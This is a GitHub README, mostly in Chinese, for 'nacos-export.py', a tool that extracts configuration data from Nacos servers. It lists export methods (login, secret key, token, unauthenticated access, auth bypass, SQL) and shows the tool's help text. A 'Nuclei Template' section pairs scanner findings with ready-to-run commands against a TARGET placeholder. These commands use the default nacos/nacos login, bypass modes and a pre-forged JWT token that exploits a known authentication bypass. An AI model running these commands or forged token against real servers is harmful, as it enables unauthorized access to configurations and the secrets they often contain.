Skip to content

Latest commit

 

History

History
59 lines (48 loc) · 1.96 KB

README.md

File metadata and controls

59 lines (48 loc) · 1.96 KB
Raw

NACOS EXPORT

Feature

  • ✅ 通过nacos账号密码导出配置
  • ✅ 通过secretkey导出配置
  • ✅ 通过token导出配置
  • ✅ 通过unauth/bypass导出配置
  • ✅ 导出配置数量统计
  • ✅ 通过sql导出配置

Use

考虑到NACOS部署方式不同，在设置目标路径时，指向 /v1的上一级目录.

若要将结果保存至文件，请通过重定向输出方式

$ python3.11 nacos-export.py -h
usage: nacos-export.py [-h] [-u USERNAME] [-p PASSWORD] [-t TOKEN] [-sk SECRETKEY] [--proxy PROXY] url method

 ______________
< Nacos Export >         @Author: Arm!tage
 --------------          @Version: v1.4.1
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |       
                ||     ||

positional arguments:
  url                   NACOS url, before '/v1'
  method                Choice method, {login, bypass|unauth, sql, token, secretkey}

options:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        NACOS username
  -p PASSWORD, --password PASSWORD
                        NACOS password
  -t TOKEN, --token TOKEN
                        token
  -sk SECRETKEY, --secretkey SECRETKEY
                        secretkey
  --proxy PROXY         proxy like: http://127.0.0.1:8080

Nuclei Template

  • nacos-default-login
    • python3 nacos-export.py http://TARGET:8848/nacos login -u nacos -p nacos
  • unauthenticated-nacos-access
    • python3 nacos-export.py http://TARGET:8848/nacos unauth
    • python3 nacos-export.py http://TARGET:8848/nacos bypass
  • nacos-auth-bypass
    • python3 nacos-export.py http://TARGET:8848/nacos unauth
    • python3 nacos-export.py http://TARGET:8848/nacos bypass
  • nacos-authentication-bypass:extracted-credentials
    • python3 nacos-export.py http://TARGET:8848/nacos token -t eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g